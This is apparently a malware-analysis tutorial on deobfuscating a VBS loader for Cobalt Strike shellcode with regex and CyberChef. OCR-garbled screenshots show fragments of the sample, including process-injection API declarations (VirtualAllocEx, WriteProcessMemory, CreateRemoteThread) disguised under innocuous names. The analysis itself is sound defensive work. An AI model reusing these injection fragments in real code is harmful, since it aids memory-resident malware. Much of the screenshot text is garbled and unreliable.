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Demonstrating how to manually decode a complex .vbs script used to load Cobalt Strike shellcode into memory.

The referenced script implements heavy text-based obfuscation. We can defeat this obfuscation by utilising
CyberChef and Regex.

Post obfuscation, we will identify some "malformed" shellcode which we will manually fix, before emulating with

the SpeakEasy emulator.

Hash: e8710133491bdf@b0d1a2e3d9a2dbbf@d58e@dbb0edf7c65acef4f788128e1e4
Sample Link on Malware Bazaar

TLDR:

e Identifying functionality and obfuscation types

e Removing basic obfuscation with Regex and Text Editor

e Removing advanced obfuscation using Regex, CyberChef and Subsections
 Identifying shellcode and fixing negative byte values (Python or CyberChef)

e Validation and Emulation using Speakeasy.

Initial Analysis

The script can be saved and unzipped using the password infected . From here we can open the file directly

using a text editor like notepad++.

Upon opening, we can see that the script references some Excel objects, as well as Wscript.Shell , which is

commonly used to execute .vbs scripts.

At this stage I will jump to the assumption that Excel is being leveraged to execute code using Wscript.
I will avoid analysing the Excel/Wscript component and jump straight to decoding the obfuscated

command/code.
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Dim chjExcel, Wshshell, RegPath, action, cbiWorkbook, xlmodule

= CreateCbject (” ]

.ldlllll' = Fals
-—
Script uses Excel Add-ins to run vbs content

Shell = Createcbject (K 1

ey
= {Err.mmber = 0)

& objExcel.Version & "

Fe
vbs content is obfuscated and contained here

gPath) then
Wshshe 1. RegRead (RegPath)

& RegPath, 1, " " /

add ()

Components . hdd (1)
5 & & 1"SChr {10) & & & SChe (10} 8 & & &Ch (10) & &
" %" 1FO"6Ch (10}6" 8" 1"&ChE (10} & pRE"E" 1 A"e" 1" &Che (10) 6" 8" "8 "&Chr (10) &”
Chr(10)& " & 5 & NHET " " &"ong” 6ChE & & 019" 6Chr (10) 6" & @ & "&Chr (10) &”
€77 4ChE (10) & w &t & Qe © & v . e 10 % ‘
"% “&Chr (10) 8" g "% “&Ch (104" 14" e “&Ch (10}4" " "% “6Chr (10) “&Ch (10} 6Chr (10} &ChE (35) 6
& 0 0 & SChr(34)6 &Chr(34) 6 &Chr(34) 6 © 3 (34)&" "6ChI (40) & 0
g -4 il b g g EChE (44) & £ s - Che{44}E" LpParanmETerer As mE" e
%" 5" “KChE (414 &"PLr"6Chr (10) 67 0 0 & %" : &Chr (38) &
vire & & & 1"ECRE(44) & &"pAAT A3"E &ChT (84D 6 & SCRE(44) 6" Byval 17§ &
£os" &Pt r=EChE410) 67 &t e 5" e TRy mg= Chr (38)4" "EChr (34) 4" A "ech
&Chr(34)6" “& 5" “&Ch (44)&° 5" As “&" “&Chr (4416" %" “&" Aoy EChr(44) & 5" As " “sche (
& &ChE (10) &~ & & & 5" & "7 "EChE (30} & EChE(34) & “EChE(34) &
e &7 "6Chs (44} 6" & "% 0 "&Chr (44) &" e & "&"Any"GChE (44) 6" 1pThrea s"
& & GO (4406 &" e 15 ATE" "&Chr (44) 6" 11 & e 4" &Chr (44) 6" v "&"Dir 0
fo A"E « form"s g ¢ MA" &Chr(d1) 6 &Chr [10) 6Chr (3508 EChr (10} &t &
“&Chr (418" &Chr(34) 4 tefe™8"mot “&"0d"6Chr (34D 6" “&Chr (40) &~ & A" “&ChE (44) 6" By "% A=g*ttEibute®§"
& B @ & & & &Chr(dd) & & &Chr (44) & & & & &Chr (44} &
“ECHE (A1) & "&CRE(1006” & & & & &ChE (34) 67 BCHE(I)E "EChE(34) &” e "ChE (34) 67 TECHE(40) & v

We can assume that the initial piece of the code is leveraging Excel and Wscript to run a vbs script that has been

obfuscated.
Overview of Obfuscation Techniques

So let's move on to the obfuscated part starting on line 30.

Here we can see two main forms of obfuscation. This obfuscation is similar to one that i've spoken about for

Dcrat.

1. The script is broken up into lots of small strings, eg "hello world" would be "hello"&"world"
2. The script utilises decimal encoded values that are decoded using Chr . For example, "Hello World" could

be "Hell"&Chr(111)&"World" . Where the "o" has been converted to it's decimal value of 111 (You can

look at an ascii table to see where these values come from)
3. Each line ends with an underscore _ . This isn't obfuscation but will still need to be removed to clean up

the script.

1. Script is split into lots of 2. Some characters are
small strings decimal encoded

il
Imodule = objWorkbook.VBProject.VECopse . Add (1)
module . CodeModule . AddE: r m & ' r & & EChE (10) & &
vpe &G e . ; b 110) 7 g As E" § et
Chr(10)&" ; "§"ong " 6ChE | Shr{10)6” HWKC™&mount g n"
5 " " %" nteg"&"er"&Chr (100 &" "&"serv
e "&Che (10) &" "4ChE(10) 6" pe"&Chr (10) 6Chr (10)
d & E"ateStuff"s &ChE(38) & & &°0"&Chr (34) & "&Chr (40)&"
& 6" 3" &Chr (44) &" 51" ze A As & LongPto&Chr (44) &% " & et
mCreatic " = 1EChr (44) 8 .= nr(42) & g . g e rsng: ALL g™ polt-
Chr (34) &"V alA"&" &Chr {34)&" t & 1" &Che (44) & . "&Chr (44) & ByVal 1"&" As "&"Long"&Chr (44) 6" ByVa
Chr(44) 6" " tect™s" A &Che (41) 6" "PLy £{10) & & " ngr Hrimg" ey "&Chr(34)&" "&Chx |
" 1em0" &1y "GCNT (34) &” "&Chr (40) 6" & & "&ChE (44) & & & hr(44)&” & & "&ChT(44) & “&"engrr
" Mro"@'te A & “&Chr (41)&" 7 "&"PrreChe (10 &° "&"at "e" trshe i "e"stuf “&"b "&Chr (34) &" “&Chr (34)&" 7 .
" "EChr (40} &° e & "&"g"GChr {44) &" ByVal 176" g Ao " "&Chr(44)e” "E"ssAttribmg ut "&"Any"&Chr (44) 67
Chr(44)&" By "&"and " "&Chr {44) & v & -5 "6Chr (44) & 1pF & A"&"5 Any"&Chr (44)&" By " "&"
" lpStart™&"us &"s ST "6Chr (84) 6" 1p &7 ssls As"&" PROCESS"™&™ INFORMA"&" &Che (41) 67 2 4" &Che {10) &Chr {35) &"F
“&Chr (34) &" &Chr (34) 6" 7 "&Chr (34} & "&" re"&"ad"&Chr (34 &" "&Chr (40) & g & "&Chr (44} &"
kSi"g"ze A “&"ng"6Chr (44) 6" “&"pStartid"&"d RaE i"&Chr (44) &" “&"eter “&Chr (44)&" 5" "
&Chr{10)&” I &"at & & & & &Chr (34} & ker & &Chr(34)&” &
&"pAddr As"&" 1“&Chr (44) &" W & "ar J“&Chr (44) &" By e 1A VF &Chr{dd)a” syv &
"§"tion Wri"g" §"Lib "6Chr (34)&" "gChz (34} 6" 7 "§Chr (34) &"H g 8"y 8Chr (34) 8" "&Chr (40) &" 5y g
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3. Each Line ends with an underscore, representing a new line in
visual basic. These will need to be removed.
&"readId A"&"s Lo \‘-l“&Chr[lE

! '&Chr(lo}&"
;cmuo:a : t
! achruon
mer” lChr(lO]&" - "&'
(10]5 iChr(lOJiChr{lOlEChr[BE}& If
"&ChrtBu& "&Chr (40) &R hP
r"&Ch[Ml)&" 1
11"&" 1
g" iChr (44) &'
"&Chr(34)&
Chr(44)&" B
" el3z" schr: 4)&
As "&"Any"&Chr (44) &
Val 1"&"pCurrent"&
"&Chr (10) &" >

o, lChr (10) &"
"EChr[lD]i
nch; (44)& _

“&Chr (34) &
ﬁchr (44) &

"&Chr (40) &"ByVa
ng"&Chr (41] &

1 1"&

1a)&" "&Chr (40)&"
iChr (41) 6" A5 Long’ sChr[ln]s
strin
144) &" EyV:

Now that we've identified 3 initial forms of "obfuscation", we can go ahead and remove them by utilising regex.

You could always remove and replace each value manually without regex, but that is a very tedious

process and ideally something to be avoided. This script is a case where regex is the best way forward.

Moving on, let's go ahead and remove the first form of obfuscation. We can do this using a search/replace. Using

the "&" and an empty replace value.

(Note that i've moved the encoded portion of the script to a new file so that the screenshots will be

easier to read)

Ul

This search/replace will remove the first form
of obfuscation I selection Tegploce AN

xlmodule  Codeodule AddEronstring " &chruuu
&

“&Chr (10) &" WEL"E"
Ktop As"E" Sti

54" 6Chy (10) &”

P
"EChE(10) 6"

. iL‘Ilr(lD}EChrl].Uli Eiva TYF rane
ch:uon L icnruo)a & 'Fhrtluli "&Chr{10) 4" "&"g icnr(:o
cnr (10) & 11" KChE {10} &7 |mE"e :
“&Ch: sch{(:\on ol ﬂl‘chr(ihi
i a:m:ou:: yval

n:u‘os
hrtu

"ECHE(34) &

E 4Che (34} 6
6L "u‘}-rlld:r “&"1A1loca

trs"e", Fune" “Lib “ECRE(34)&"

e & PrrUsChr{dd)&™ ByRef ny~sChr (44) 6" Byval L"g th As"&" Long”

"engthe t &cnruun "Et "g"Stuff Gf‘n:(:iﬂr' nel3 &cnr(:ut Alias "EChE(34) &7
" "&Chr {40) &"EyVal "&"h “sChr (4d)e” . Rs "&"String”&Chr({dd)&" 1per &"Any"&ChE (44) &7 1pThrea”s"datt
Che{44) & ByV dcnr(un ByVal d=&"wCreatio®&"nFlags A"&" 1"&Chr{44) &% LpEnvir=&" t A"E"a A l.r‘rrlu:e L ent"&"Director” &

After hitting enter, 290 occurrences of the string split obfuscation have been removed.
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Replace *
Find Replace Find in Files Findin Projects Mark
Eind what: | [E§ - Find Next
n
Replace with: Beplace
Reploce A
Replace All in All Opened
Match case Close.
[ Wirag around
Search Mode [ Tramsparency
tiormal ®) On lasing focus
Extended (n, v, 1L 10, Yx..) Abverys
®) Rnguiar expression . matches newline ] =
| Revface Al 290 occurrences were replaced in entire file
—
-—
xlmodule .CodeModule. AddEren &Chr (10)&" ‘&Chr (10) &' "&Chr (10) &" A
Che (10} &Che (10} "&Chr {10) &" Az & "&Chr (10} &" "&Chr (10) &
Chr{10) &” " & &Chr (10) & "EChr (10) & TEChI (10) &
" EChr{10)&" g 10)&" "EChr(10) &' "&Chr (
“&Chr {10) &" n “&Chr {10) & “&Chr{10) &" *&Chr (10) 6Chr (10) &Chr (35) &
5 ‘&Chr{3d4)&" "&Chr (34) & &Chr (34)&" &Chr (34)&" "&Chr(40)&"
"&Chr (44)&" 3 "&Chr(44) &" t &Chr (44) &" "&Chr (44) &
&Chr(44) &" &Chr (41) &" &Chr{10)&" "&Chr (34) &
EETETITE £Ch ITAVEN TEfh FADY £ e AR N S erh AR e EPh PN £

Now, I will go ahead and use CyberChef to identify and remove the Chr(10) style obfuscation.

This process will involve using a regex to identify the Chr(10) , and then using a subsection hone in on the

values and decode them, leaving the remaining script intact.

To do this, I will move the current encoded content into CyberChef.

Initial Analysis With Cyberchef

With the script now moved into CyberChef, we can jump straight to prototyping a regular expression (regex) to

hone in on the decimal encoded values.

For prototyping, I will use "Regular Expression" and "Highlight Matches", this is to confirm that the script

matches on the intended obfuscated content.
The regex used here is Chr\(\d+\) . Let's break that down...

Chr - We only want decimal values that begin with Chr
\( and \) - We only want decimal values contained in brackets, we need \ to escape the brackets as
they have special meaning inside a regex.

\d+ - This specifies one or more numerical values.

TLDR: we want "numerical values" + "contained in brackets" + "preceded by Chr".
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N [
Recipe BEF e +O0=Z 0=
xlmodule. CodeModule . AddFromString “Private Type PROCESS_INFORMATION™SChr(10)8" hProcess As Long 8Chr(10)8™ hihread As fa]
]
Regular expression ® Long"SChr(10}8*  dwProcessid As Long"AChr(10)8"  deThreadld As Long™BChr{10)8 _
. i “End Type"AChr{18)Chr(10)8"Private Type STASTUPINFO"AChr(10)A™  cb As Long"RCAr(10JA"  IpReserved As StringAChr(10)a"
il [T B Case insersitive. | 1obesktop As String"She (100" loTitle As String™ _

Che(10}8° il As Long"BCRR{1B)A" WY As Long"AChr(10J8"  diSize As Long"8Che(10)8”  dw¥Size As Long"SChe(10)8"
hiCountChars As Long™BChe(10J6"  dwiiCountChar™ _

=5 As Long"BChe(10)8"  doFillAttribute As Long"BCRe(10)8"  ouFlags As Long"BChr(10)8"  wShouindow As Teteger"SChe(10)8”
cheserveds As Integer“BChr(1008™  lpke™ _

“served? As LoogBChe(1008"  hStdlnput As Long™BChr(10J8"  HStdOutput As Long™BChe(1018”  hStdErrer As Long™8Chr{10)4%End

&+ ana s maten at newtines  [Jootmarchesal  [Junicode support  [Jastal suppont | rype-schrtaaibchr(1e &chr {3518 EF vaA7 Then-&hri1a}s

= Private Declare PtrSafe Function CreateStuff Lib "BChe{34)8"kerne]32"4Chr (348" Alios "Chr{34)4"CreateRemoteThread hhr {3414%
= “AChr{4B)A"Byal hProcess As Long”&Chr(44)8

[ pisplay total Highliaht matches * tyval Ipthreadattributes As Long™SCh(48)8° ByVal dwStackSize As Long8Chr(44)a" ByVal lpStartAddress As LomgPhr*AChr(4478°
1pParaseter As Long™&Chr{d4)&" Byval d"& _

“wCreationFlogs As Long™BChr(84)8" lpThreadlD As Long"BChr(41)8" As LongPte"SChe (108"  Private Declore PirSafe Function AllocStuff
Lib “BChr( 36K kernel 32 KChr(34)8" Alias " _

Che{ MR VirtualALLocEx"RChr (3)8" "RChr{4D)8"ByVal WProcess As Long™8Chr(44}8" ByVol Iphdde As Loag"BChr(44)8" Dy¥al 1Size As
Long™8Che(48}8" ByVal F1AllocaticaType As Lomg™

Chr(a4)8" Byval FlProtect As Lone"8Che(41)6" As LongPtr"BChr(108"  Private Declare PtrSafe Function Writestuff Lib
“BChe{3)8"kernel 32 RChe(JA)R" Alins "BChe(M)E e itePro™8 _

“cessHemory"BChr({34)8" “BChr{80)A°ByVal hProcess As Long™8Chr(44)8° ByVal Ibest As LongPtr"8Chr{44)4" Byfied Source As AnySthr(s)8" v
" LT RC

Output - W allo

~

Regular Expression + Highlight Matches

xlacdule. Codetodule . AddFromString “Private Type PROCESS_INFORMATION'ACHr{18)4  hProcess As Long“AChr{18)4°  hihread As
Long SCHE(10)8"  dwProcessld As Long ChR(10)8™  dwThreadld As Long SCRR{10)8 _

] i “End Type"&Chr{10}6CAA{18)4" Private Typr STARTUPTNFO"SChr{18)4 b As Long™ACRR(18)8"  IpReserved As String“AChr{18)&"
This can be used to prototype a regex and confirm el o —— i K Tty
that it matches the intended values CHe(10)R"  hax As Long"RCRN(IBN" ¥ As Long"MCHRCIONE™  hSize As Long"ChR(ION™  wvSize As Long 8Chr(10JA"

duiCountChars As Long"SChr(18)E"  dw¥CountChar™8 _

Here the regex matches perfectly on the decimal ‘:n:e::::r:—:'l:::" u:‘;;;:!lnmlnp;:a long"BCRO(IBIA™  dwFlags As Long"ACHP(1B)A™  wShowdindow As TntegerSCHE(ID}E
based obfuscation. “served? As Long SCAA(ION™  hstdinput As Long"ACRR(10JA~  hStdOutput As Long"MCRR(I0JA™  hStdError As Long BCHR{10)A"End

Type"SCAF(1BJACHA{1B)ALHR{ISIATF VBAT ThenAChr(18)& _

= Private Declare Prrsafe Function CreateStuff Lib “RORR(34)A™kerne] 32 ACNF(34)8" Alios “ACHE(38)A"CreateRemoteThread AChP(34)4"

"HERC{4B)ATByVal hProcess As Long”SChe(4d)8 _

= Byval IpThreadAtteibutes As Long SChR(BAJE" ByVal dwStackSize As Long"RCRP(SAJA"™ Byval 1pStartaddress As LoagPte ACHE(A)A"

pParameter As Long”BChr{44)8™ Byval d™8 _

“wCreatioaFlags As Loag"RCRA{SAJE" 1pThreadID As LongRCRR(A1)A" As LongPte"SCHECIDIS™  Private Declare PrSafe Function AllocStuff

Lib “SChr{38}&"kernel32"KChr{34)4" Alias “&

Chr{34)6"VirtuslAllocEx"RCRN{3A}8" "EChn{40)8"ByVal hProcess As Long™MChR(44)8" ByVal lpAdde As Long™BCHr{44]8" Byval 18ize As

Long"SChr(#836" ByVal FlAllccaticnType As Lomg™

Chr(#4)&" Byval flProtect As Long KCHR(ALIE® As LongPtr"RCHA{1)&"  Private Declare PtrSafe Function Writestufd Lib

A . o e e L
. o e it s Thee 1 nmss PR et o 1 ez o

Since the regex looks like it's working and correctly identifying values, we can go ahead and change it to a

subsection.

A subsection allows us to perform all future operations only on data that matches our regex. This allows
us to keep the majority of the script intact, while decoding only values that are obfuscated and matching

our regex.

We can go ahead and copy the regex into a subsection, making sure to disable the original regular expression.

Recipe o | F e +DEa =

© 1 | Fimdule.Codetodule. AddFromString "Private Type PROCESS_INFORMATION'ACH-(IO)R™  hProcess As Leng™MChr (10} hThread As &
Long™8Chr(10)8"  dwProcessid As Long™SChr(10)6"  dwThreadld As Long™kChr(10)5 _

Regular expression
“End Type“&Chr (1B)AChr (18)& Private Type STARTUPTNFOAChr(10JE™  cb As Long™®Chr(18)6"  IpReserved As String™SChr(10)6"
B Caseinsensitive | LoGesktop As String™SChr(10}4"  lpfitle As String"® _

Chr(10)8"  dk As Long™RChr(10)6™  dwr As Long"8Chr(M0)&™  dwXSize As Long™SChr(10)6"  dwrSize As Long™&Chr(10)5™

r dwiCountChars As Long"&Chr(10)8% dwYCauntChar
& s As Long"&Chr(18)&" dwfillAttribate As Long™&Chr(18)&" daflags As Long &Chr(10)&" whhowMindow As Imteger”&Chr(18)a™
cbieserved? As IntegerSChr(10)A"  lpRc™S _
“served? As Long"&Chr(12)&" hStdinput As Long”&Chr(18)&" hstdOutput As Long”AChr(10)&" hstdError As Long"AChr(10)&%End

A and § match at newines [ Dot matchesail | (] Unkoodk

tral support Type&Chr (10)&Che(10)4Che(35)871F VBAZ Then"&Chr{10)4 _
= erivate Declare Ptrsafe Function Createstuff Lib "SChr(3a)k"kernel 32°KChe(3a)6° Alias “SChe( 348" CreateRemoteThread KChn(34)4°
“BChe(40}B"BYVoL hProcess As Long"BChr (4436 _

O pisplay total Highliaht matche = Byval IpThreadAttributes As Long“SChn(41)A° ByUsl duStacisize At Loag™MChe(48)6° ByVal IpStartAddress As LomgPtrRChn(ad)h™
LoParameter As Long™BChr(£4}8" ByVol &8 _
“wCreationFlags As Long BChR{A8)4" 1pThreadlD As Long"SChe(S1}6° At LomgPtrBChA(IB)A"  Private Declare Pesafe Fusction AllacStuéf
Subsection B I Lib "8Che(34)8"kernel 12BChr (304" "B

he(sap i virnslALlocor B (24" “Ihe(aoliuel Wrocsss A Long“ o (A" aywel. Londde Az Long"Mhr(aR)A" oyl Isize A
Sectcn oo Lang"&Chr(44}4" By¥al fIAllacationType As Long"

Chriidst) B case sensitive matching [E Global matching [ 1gnare emors ChA(A4)8" ByVal FProtect As Long"BChe(21)6" As LongPLr"SChr(1B)A™  Private Declare PteSafe Fumction MriteStuff Lib

“6Ch{ 3)6"kernel 326Chr (36" Alias “4Chr(34}4"WriteProh _

“cessMemory"RChr (M6 “RCh-(A0)8°yVal WProcess As Long8Chr(A4)8" DyVal LDest As LongPtr=sChr(44)6" ByRef Scurce As Any"BChr(d)&" v

=i T 5 T =T
T B0 m:a
xlmodule. Codetodule. AddF roaString “Private Type PROCESS_INFORMATION™SChe(10)6"  hProcess At Long"SChe(10}6"  hThread As ~

Long™8Chr(10)4"  dwProcessid As Long™SChr(10)6"  dwThreadld As Long™kChr(10)5 _

“End Typa“BChr(18)AChr(10)5 Private Type STARTUPLNFO"SChr(10}6"  cb As Long SChr(10)6"  LpReserved At String SChr(10)6”
Lpbesktop As String"SChr(10}4°  lpfitle As String™t

Chr{10}6" &l Ac Long"®Chr(10}6"  dw¥ Ac Long™RChr(18)5"  dwiSize Ac Long"SChr(10)A”  dW¥Size Ac Long™SChr(10}6”

dwHCountChars As LongSChr(108%  dwYCountChar®h
N N “s As Long"&Chr(10)&" awFillAttribute As LME'KMUIJI‘ duflags As Long"SChr(10)&" whhosMindow As Integer”&Chr{18)&
Converting a regex to a Subsection cbeservedz As Tnteger"SChe{10)4"  lpRc"d

“served? As Long"&Chr{12)&" hStdIngut As Long”SChr(18)8" hstdOutput As Long”SChr(10)8" hstdError As Long”SChe(10)&%End
Type"BChe (10)4Ch(10JBChe (3537 1F VBAT Thendhr(10)4 _

Private Declare Ptriafe Fumctios CreateStuff Lib "SChr(34)A%kernel 327AChe [ 3A)8" Alias "EChe(24}E"CreateRemoteThread "SChr{34)8"
“BChe(A0JR RVl KPracess As Long BChe (48} _
= Byval lpThreadAttributes As Long™SChe(28)8" ByVal duStackSize As Loag™SChe(48}8" ByVal lpStartAddress As LongPte"RChr(8d)R™
LoParameter As Lomg™BChr(£4}8" ByVal
“Creationflags As Long"BChe(44)8"
Lib "KChr{34)8"kerneL32"8Chr (14)4
Che{ 3418 VirtualAl LocEx"RChr (34)4" 'Khr(lﬁjl'a)‘\fol hProcess As Long"BChr(82)8" ByVal LpAddr As Leng"BChr(82)R% ByVal 1Size As
Long"kChr{44)4" Byval FiALlocationType As Long™k _
Chr(44)5" ByVal FlProtect As Long™BChr(21)8% As LongPtr"BChr(10)8"  Private Declare Ptrsafe Function MriteStuff Lib

= “BChr{ 38)"kernel 52°Kche( 3418° Allas “HChe{ 3416 WritePro™h
STEP AutoQake | CCOficmOry"BChr{4N" “AChr (40)&"B/Val hProcess As Long"BChr(44)3° By¥al Lest As LongPtr 8Chr(44)E" ByteF Sowrce ks Any"Mhr (418" v

'('a‘ln As Leag BChe (8187 As LomgPte"BOhe{10)A"  Private Declare Ptesafe Fusction AllocStuff

With the subsection applied, we can now apply an additional regex to extract decimal values (but only those

contained with Chr ).
From here, we can now apply a "From decimal" to decode the content.

At this point, we now have a signficantly better looking script than before. (albeit we still have the &

everywhere)
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Recipe 0 m A input S =Rl ]
S T “private Tupe PRCESS TFQRMATION'SChe (108" WProcess As Long8Che(10)8"  hThread As L)
u " : As Long"BChr(
4 Identify Decimal encoded content b As |....,,p|..{m.v I IpReserved As String"BChe (108"
|8 case sensitve matcning (B clobal matching [ g piverroer 2 o o
Che(1BIA" e As LongBCRr(10)A" ¥ A3 Long"BCRr(1IBIA™  duSize As Lo d¥Size ks Long™MChr (10)4°
SutCountthars as Long"%Chr(10)8"  dwiCountChar™k _
Regular expression © 1 "3 As Long"BChe(10)A"  dwfillAttribute A Long"SChe (1)B"  dflags As Long"8Chr(1008"  wShobdindow As Integer"BChr (1804
" \ogazs
P p—— [ . § - X Stdutput As Long"BChr(10)A°  hStdError As Lomg"BChr (108" End
freviprrerl b B Case insensitive ”1 Extract encoded decimals l
- B*kernel 12°6Chr (348" Alias “Chr(34)4"Createiemate hread"Bchr (34)8°

P
B - and $ match at newtines  [J Dot matchesall  [Junicode support ] astral support

[0 pisplay total List matches

From Decimal & n

soace O support signed values

Decoding Decimal encoded value in CyberChef.
Keeping main script intact.

i L]
stes

Moving back to a text editor

TRChR(48)87ByVal hProtess As Long"&Che(44)8 _
= Byval lgThreadhttributes As Long"SChr(44)6° EyVal duStackSize As Long"8Chr(44)8 Byval lpStarthddress As LongPir*BChr(40)4"
IpParasscter As Lang™8Che (44)87 ByVal 4R _

“wcreationFlags AS Lomg"BChe(80)6° 1pTheead D As Long SChA(41)6° AS LongPteSChe(1B)A™  Peivate Declare Pesafe Function Allocstuff
Lib "BChe (14)R"kerne] 32"R0Ae (M)R™ Aliss "8 _

Che (3)R7VFta LA Lot £x"B0h (30)6° “SChe (40)R°BYVAL WProcess &S LonfBChe ()K" ByVal pAdiss A5 Lomg"GChe (40)8° ByVal 1size As
Long"Bohr (44)4° Byval flallocationType As Long™s

Che(a)h™ Byval f1Peotect As Long 8Chr(41)87 A3 LongPle"SChe(18)8"  Private Declore PLrSafe Function WeiteStuff Lib

RO (34)8 kerne] 127 A0he (14047 Alias “BChr(34)8 WritePro™h _
2 )

" WyVal Lest As LomgPte"®Chr(44)4" ByRef Source As Any"BChr(40)8" o
T pytes 0

- Ralic]

lmodule. Codehodule. ASdFromString “Private Type PROCESS_TIFORMATION S A
B bProcess As Long™k

B hiRresd As Longk

B dProcessid As Long"h
&

b

Decode the extracted decimal values

duThreadld As Long™k

.
LPrivate Type STARTUSINFOA
& cb ks Lomg"k

& lpmeserved As Steingh
& IpDesktop ds Stringh
& dpTitle As String™h _

B A Long™R

L ¥ As Longk

B deESize As Loog™h

L dw¥YSize As Long™8

& dwktountthars ks Long”h

B° AVCountChar”h _

s ks Lomg"k v

With the primary obfuscation now defeated, we can copy the CyberChef output back into a text editor.

e
xlmodule
"kernel32"s"e" 15 ‘reateRemoteThread
Long"&, &" al 1 rtAddress As LongPtr -
g &
"kernel32"L"E" Alias "&

The ampersands that surrounded our &Chr(110)& values still remain, so let's go ahead and remove those.
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1 xlwdule mm»dule AGIFEOMSTIing -Private Type PROCES
2 a As Long" Feplace ®
3 * PI'II JEdd As Long™

4 | - awerocess1a ne Lo gL Fpach | Pl [ P Pk

5

6 iz _ it [

7 "End Type® Ravdace with:

g L

9 IPeivate Type STARTUPINFO"

10 " cb A

1n Backneard divection

12 - st haia word asly

13 i [JMtch grie

14 [ wrag wsusd

15 " dwx As Long®

16 " dwY As Long® ki F nsparncy

17 T dwksize As Long® ) tioemal ) On losing locs
18 T dwiSize Rs Ostended . ., . 18, ) Ay

;z - (@ Regdar exprrivion (], matihes nemtine. '
21 s s Long"

22 = dwFillAttribute As Long™ -
23 *  dwFlags As Long™

24 o WwEhoWWLndoWw Az Integer™

25 - erved? As Integer™

26 = _

21 "se I

28 = hstdinput As Long® R ing leftover amp (&)

29 = hSedOutput As Long™

30 *  hStdError As Long®

3 “End Type®

32

33 ? =If VBAT Then"

34 _

a5 o frivate Declare Fecsate fu aef Lib ""*kaEnel3zne Nliss “"CreatebemoteThresd=" °("ByVal hbzo As Long”,

% 1 ttributes A " Byval lpStarthddress As LomgPr",” 1pi 2 Long"," Byval d" _

37 Lo

38 * Private Declare P(l.uH(‘ Function Lib “""kernel32""" Ali

38 “"virtualAllocEx""" "("ByVal hProcess " ByVal lpAddr As Longee nf'm 18ize As Long"," ByVal flAllocationType As Long™ _

40 = Byval ElProtect As L

41 ® private Declare Per Stuff Lib """kerneld2""" Alias """NritePro® _

a2 Lcessemory”~" *("ByVal herocess As Long"," ByVal l0eat A LongPtr”,” ByRef Source As Any”." ByVal Length As Long”.” Ey¥al i” _

43 angPte®)" ngPte®

44 o Dechare Trisafs Function munstuff Lib *"kernsl32** Allas "*CrasteFzoonssh™® _

5 * "("BvVal loAvolicationName As Strina®," BvVal loCommandLine As Strina®,” loProcessAttribut®a As Anv®." loThreadAttributes As A

We also have those pesky underscores (visual basic newlines) remaining, so let's go ahead and remove those using

\s+_\s+ , this will remove any newlines and surrounding whitespace.

1 xl.wdule COdBIMul AddFronstring 'T'\ ivate Type PROCESS I
3 Replace: *
i - Find  Pepiate Find inFles Find in Projects Mark
5 [ Find Wt =]
£ i
7 d Type” 3 | Erplace
8
9 | “private Type STARTUPINFO® il Soplen 4
:lll b As Lcm.!N & d dreition
12 Matich yhole word only
13 [atch e
14 [ g asund.
15
16 Removing visual basic ‘“‘O i 91@“‘: .
17
13 newlines/underscores. As well as O:‘ 5 YR O o
19 surrounding space (\s+) @) e spression, [, ks revline 1
20
21 4
22
23
24
25
26
27
28
25
30
31
32
33
T
35 Lib **“kernel32"== alias =“*CreateRemoteThread**~ ={“ByVal hProcess As Long®
3 2o As Long",” ByVal lpStartAddress As LongPtr®,= lpParameter As Long®,® B
n *uCreationflag ” LongBtr™
38 " Frivate Declare Ftrafe Fu JIll\Jt..;I.JH Lib ""hernellz" = AL, =
ki TUVArtualAllecER""" "("ByVal hProce "," Byval lpAddr As Long®, al 1Size Long™,” Byval flAllocationType Re Long™

2= ByVal flProtect As Long®)

Frivate Declare PrrSafe Fu n b “““kermeldz"" Allas ~=Writerro-Jl
cesﬂmwn'"“ 'l'lWll hProcess As Lom' L) mal 1Dest As LoagPtr”,” ByRef Source As Any".” ByVal Length As Long".” ByVal L= _
Ax PLE"}* As LongPtr
te Declare Pl'b.\lo nr_ tion “"*CreateProcessA™" _
1pApplicatisnNane ttriby As Rny"," lpThreadhttriby Any’
H Jl nt As Any"," ByVal Directory As Str P =
") " As Long™

1

2

3

4 * duPro

s " eTheeadld hs l.o-\:)"‘E'nJ Type" mm[_i] Fnd Vet O

6

7 "Private Type STARTUPINFO" Fapfoon wil: |

s s B

e "

10 o

1 " dwi As Long® uckward dectn

12 " Match whoie word only

13 N [t s

el - 94 underscore/newlines E Mg arcund

el - - removed. Search Node ] travsparency

17 . - O iormal (®)0n sesing fecus

18 " O Eatencied (0, ' . 10, 1} [sTm

19 " wshowkindow As Integer” @) Regular expression ], matches newline: ] &

20 " chReserved? As Intea

21 il 1pRe**served? As Long® Replace Alt 4 occurrences wire epliced in entive il I

22 " hStdInput As Leng"

23 * hstdoutput As Long™

24 *  hStdError As Long"

25 "End Type"

26

21 #"1f VBAT Then"" Private Declare PtrSafe Function CreateStuff Lib ""“kernell2™ " Aliaz """CreateRemoteThread™ " "("ByVal hProcess As Long™, ™ ByVal lpThreadAttributeés As Long
29 *  Private Declare PtrSafe Function AllocStuff Lib "*"kernel32*** Alias "**VirtuslAllocEx"=" *{*ByVal hProcess Az Long"," ByVal lpAddr Aa Val 13ize As Long"," ByVal
29 = Private Declare PrrSafe Function WriteStuff Lib "="kernel32""" Alias """NritePro”"cessMemory™"" "("EyVal hProcess As Long"," ByVal lDest As LongPtr®™,” ByRef Scurce As Any"
30 *  Private beclare PtrSafe Function RunStuff Lib **"kernel32"=* Alias "="CreateProcessA™"* "{(“ByVal lpApplicationName As String”,* ByVal lpCommandLine A: ng",* lpProcesal
31 e

32 " Private Declare Function Cre""ateStuff Lib "="kernel32""= Alias ""“CreateRemoteThread™"= "{"ByVal hProc g, ByVal lpThreadAttributes As Long",” ByVal dwStackSize
33 " Private Declare Function AllocStuff Lib """kernel32""" Alias =""VirtualAllocEx""= 'l'av-m hProcess A™"s Lo‘m';' Byval Ipaddr As Long®," ByVal lSize As Long®," ByVal fALL
34 " Private Declare Function Run™ Lib """kernel32""" Alias """CreateProcessh™"" " Val lphpplicationName Az String”, 1pCommandLine As String”,"” 1pProc triby
35 i

36

n "Sub Auto_Open® {)

38 "

s | -

40 "

41 " b

a2 " Dim aProc As String"

43

44 ¥"IE VBAT "“Then™

45 o Dim rwxpage As LongPrr”™,” res As LongPtr®

6 15"

47 " Dim rwxpage As Long®,* res As Long®
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The Script now looks much cleaner, albeit there are a lot of quotes around that don't seem to contribute

anything useful.

We can go ahead and remove these using a regex of "+ , this will remove all quotes from the script.

-ntn“ =1 | | rew 12 L e 13 L Enew 14 L5 Evew 05 L I L3 [ e 16 L) e 17 Ll P new 18 1 |
